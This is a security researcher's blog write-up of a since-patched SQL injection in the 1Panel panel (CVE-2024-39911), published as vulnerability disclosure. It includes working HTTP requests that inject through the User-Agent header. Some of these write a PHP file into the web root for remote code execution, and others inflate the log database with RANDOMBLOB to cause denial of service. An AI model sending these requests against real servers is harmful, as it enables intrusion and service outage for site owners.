0x00 1Panel 架构
--------------
1Panel 大致架构如下,面板本身是运行在宿主机上的,搭建的网站运行的其他服务等都是在docker内
![](https://images.seebug.org/1721725651931-w331s)
请求日志,访问日志是在`1panel/openresty`容器里面的各种.db文件里面存储着,通过lua文件写入的, waf功能以及网站监控功能也是在`1panel/openresty`容器内实现并存储的,然后面板去读取展示
![](https://images.seebug.org/1721725652682-w331s)
复现视频 [https://www.bilibili.com/video/BV1tt8ue6EmU/](https://www.bilibili.com/video/BV1tt8ue6EmU/)
**漏洞在6月初发现,反馈给1p官方后,六月中修复,7月中漏洞公开**
0x1 测试版本
--------
专业版 `v1.10.10-lts`
社区版 `v1.10.10-lts`
`1panel/openresty:1.21.4.3-3-1-focal`
0x2 影响范围
--------
网站监控功能影响 == `1panel/openresty:1.21.4.3-3-1-focal`
WAF功能影响 <= `1panel/openresty:1.21.4.3-3-1-focal`
0x3 网站监控功能
----------
利用条件:
* 专业版,并开启网站监控功能
* 关闭waf功能
* 安装有1P-openresty容器且搭建有php环境网站
### 3.1 发现注入
这里会记录请求日志
![](https://images.seebug.org/1721725653159-w331s)
他记录的字段有 re ua头等
![](https://images.seebug.org/1721725653880-w331s)
在记录的字段上加上单引号会发现没有成功记录日志,猜测这里存在一个inser的sql注入
![](https://images.seebug.org/1721725654721-w331s)
进一步验证因为数据库是sqlite,我们尝试一下字符串拼功能最后记录是啥样子的,发送数据包
User-Agent: Mozilla/5.0'||"blog.mo60.cn"||'b
发现字符串被拼接了,确定了这里存在一个insert的注入
![](https://images.seebug.org/1721725655387-w331s)
### 3.2 文件定位
这个功能的数据库在
/usr/local/openresty/1pwaf/data/db/sites/网站编号/site_req_logs.db
或者在宿主机的
/opt/1panel/apps/openresty/openresty/1pwaf/data/db/sites/网站代号
写入数据库语句的脚本在
/usr/local/openresty/1pwaf/lib/monitor_log.lua
执行的sql语句如下
![](https://images.seebug.org/1721725655928-w331s)
INSERT INTO site_req_logs (
server_name, host,ip, ip_iso, ip_country_zh,
ip_country_en, ip_province_zh, ip_province_en,
uri, user_agent, method, status_code, referer,
spider, request_time, localtime, time, request_uri,
flow, day, hour, uv_id, referer_domain,
os,browser,device,pv_tag,uv_tag
) VALUES (
'%s', '%s', '%s', '%s', '%s',
'%s', '%s', '%s',
'%s', '%s', '%s', %d, '%s',
'%s', %d, DATETIME('now'), %f, '%s',
%d, '%s', '%s', '%s', '%s',
'%s', '%s', '%s','%s','%s'
)
我们可控的位置在user\_agent头也就是
VALUES (
'%s', '%s', '%s', '%s', '%s',
'%s', '%s', '%s',
'可控点', '%s', '%s', %d, '%s',
'%s', %d, DATETIME('now'), %f, '%s',
%d, '%s', '%s', '%s', '%s',
'%s', '%s', '%s','%s','%s'
)
### 3.3 Getshell
这里我们先测试一下存不存在堆叠注入,先闭合前面的然后在构造插入新语句的poc
GET / HTTP/1.1
Host: 192.168.99.6
User-Agent: ua', 'blog.mo60.cn', 5201314, '', '', 1, '2024-06-09 08:16:52', 1817921010.847, '/AAAAAAA', 52014, '2025-06-09', '16', '', '', 'Linux', 'edge', 'pc', '', '');INSERT INTO "main"."site_req_logs" ("id", "server_name", "host", "ip", "ip_iso", "ip_country_zh", "ip_country_en", "ip_province_zh", "ip_province_en", "ip_longitude", "ip_latitude", "uri", "user_agent", "method", "status_code", "referer", "spider", "request_time", "localtime", "time", "request_uri", "flow", "day", "hour", "uv_id", "referer_domain", "os", "browser", "device", "pv_tag", "uv_tag")VALUES (18, '192.168.99.6', '192.168.99.6', '192.168.99.2', 'Local', 'blog.mo60.cn', 'Intranet', '', '', NULL, NULL, '/blog.mo60.cn', 'blog.mo60.cn', 'blog.mo60.cn', 114514, '', '', 1, '2024-06-09 08:16:52', 1717921010.847, '/aa', 552, '2024-06-09', '16', '', '', 'windows', 'edge', 'pc', '', '');#
Connection: close
可以看到插入了我们的语句
![](https://images.seebug.org/1721725656644-w331s)
那么我们的思路是通过堆叠注入写出文件,到网站目录下,因为网站大部分是支持php的,默认网站路径格式如下
/www/sites/网站代号(默认为域名)/index/
然后构造poc写入文件
ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?php phpinfo();?>');#
然后发送数据包
![](https://images.seebug.org/1721725657421-w331s)
然后进入容器查看一下,发现文件写入成功
![](https://images.seebug.org/1721725658325-w331s)
访问成功执行
![](https://images.seebug.org/1721725658978-w331s)
测试poc
GET / HTTP/1.1
Host: 192.168.99.6
User-Agent: ua', 'blog.mo60.cn', 5201314, '', '', 1, '2024-06-09 08:16:52', 1817921010.847, '/AAAAAAA', 52014, '2025-06-09', '16', '', '', 'Linux', 'edge', 'pc', '', '');ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#
发送后如果写入文件并输出`C930b955726e241e6a7aa1e4184b54e7f`就是存在
![](https://images.seebug.org/1721725659797-w331s)
这个利用方式在开启waf的情况下无法利用,大致示意图
![](https://images.seebug.org/1721725660352-w331s)
### 3.4 功能DDOS
这里是利用到`RANDOMBLOB 是SQLite数据库中的一个函数,它的主要用途是生成一个指定长度的包含随机字节的二进制大对象(BLOB)。`,然后传入一个`RANDOMBLOB(39990000)`
GET / HTTP/1.1
Host: 192.168.99.6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0'||RANDOMBLOB(39990000)||'blog.mo60.cn
Connection: close
发送后来到请求日志查看,直接响应超时功能全部用不了
http://192.168.99.6:13515/xpack/monitor/log
![](https://images.seebug.org/1721725660921-w331s)
上面的操作导致数据库文件特别大因为生成了太大字节的内容
![](https://images.seebug.org/1721725661858-w331s)
0x4 WAF功能
---------
利用条件:
* 开启waf功能
* 安装有1P-openresty容器且搭建有php环境网站
### 4.1发现注入
先来一条会触发waf的规则
![](https://images.seebug.org/1721725662572-w331s)
可以看到在waf拦截记录里面记录了
http://URL/xpack/waf/websites
![](https://images.seebug.org/1721725663219-w331s)
可以看到记录的字段跟上面也差不多
![](https://images.seebug.org/1721725663778-w331s)
直接测试有没有注入
User-Agent: Mozilla/5.0'||"blog.mo60.cn"||'b
可以看到最近得到的是拼接后的结果,这里存在注入
![](https://images.seebug.org/1721725664348-w331s)
### 4.2文件定位
进入op的到容器里面
docker exec -it 8fbeeb7b4dbc /bin/bash
数据库的路径位于,是SQLite数据库
/usr/local/openresty/1pwaf/data/db/
里面有两个数据库文件,`1pwaf.db` 跟 `req_log.db`,一个是记录的waf的开关情况配置等,另外一个是我们需要的请求日志,我们的拦截日志就在这个库里面记录着
![](https://images.seebug.org/1721725664978-w331s)
然后把db文件拷贝到宿主机上分析一下,后面发现就在1panel的文件路径里面就有不需要特意进入到容器`/opt/1panel/`
docker cp 8fbeeb7b4dbc:/usr/local/openresty/1pwaf/data/db/req_log.db .
可以看到我们的拦截记录就在这里面
![](https://images.seebug.org/1721725665555-w331s)
然后通过搜索找到的插入语句在
/usr/local/openresty/1pwaf/lib/attack_log.lua
打开可以看到执行的sql语句
![](https://images.seebug.org/1721725666254-w331s)
INSERT INTO req_logs (
id, ip, ip_iso, ip_country_zh, ip_country_en,
ip_province_zh, ip_province_en, ip_longitude, ip_latitude, localtime,
time,server_name, website_key, host, method,
uri, user_agent, exec_rule, rule_type, match_rule, match_value,
nginx_log, blocking_time, action, is_block, is_attack
) VALUES (
'%s', '%s', '%s', '%s', '%s',
'%s', '%s', %d, %d, DATETIME('now'),
%f, '%s', '%s', '%s', '%s',
'%s', '%s', '%s', '%s', '%s', '%s',
'%s', %d, '%s', %d, %d
)
我们的可控点在第二个插入参数的位置
VALUES (
'%s', '%s', '%s', '%s', '%s',
'%s', '%s', %d, %d, DATETIME('now'),
%f, '%s', '%s', '%s', '%s',
'%s', '可控点', '%s', '%s', '%s', '%s',
'%s', %d, '%s', %d, %d
)
### 4.3 Getshell
先构造好poc
ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#
然后这里利用ua头位置注入来写入文件
GET /.git/config HTTP/1.1
Host: 192.168.99.6
User-Agent: blog.mo60.cn',"args", "sqlInjectA", "", "YmxvZy5tbzYwLmNu", "blog.mo60.cn", 0, "deny", 0, 1);ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#
Connection: close
![](https://images.seebug.org/1721725667018-w331s)
访问成功执行
![](https://images.seebug.org/1721725667626-w331s)
`这里利用只要开启waf功能即可`
### 4.4 功能DDOS
还是利用生成一大堆数据,然后让这个接口响应超时
GET /.git/config HTTP/1.1
Host: 192.168.99.6
User-Agent: blog.mo60.cn'||RANDOMBLOB(79990000)||'blog.mo60.cn
Connection: close
然后来到拦截日志,开始转圈圈
![](https://images.seebug.org/1721725668202-w331s)
然后过一会提示请求错误
![](https://images.seebug.org/1721725668827-w331s)
最后修改:2024 年 07 月 22 日
© 允许规范转载
* **本文作者:**Juneha
* **本文链接:**[https://blog.mo60.cn/index.php/archives/1Panel\_SQLinjection2Rce.html](https://blog.mo60.cn/index.php/archives/1Panel_SQLinjection2Rce.html "1Panel面板前台sql注入到网站功能rce漏洞(CVE-2024-39911)")
* **版权声明:**本博客所有文章除特别声明外,均默认采用 [**CC BY-NC-SA 4.0**](https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh "CC BY-NC-SA 4.0 ") 许可协议。
* **法律说明:**
* **文章声明:**文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。非文学作品,请勿过度理解,根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途。
暂无评论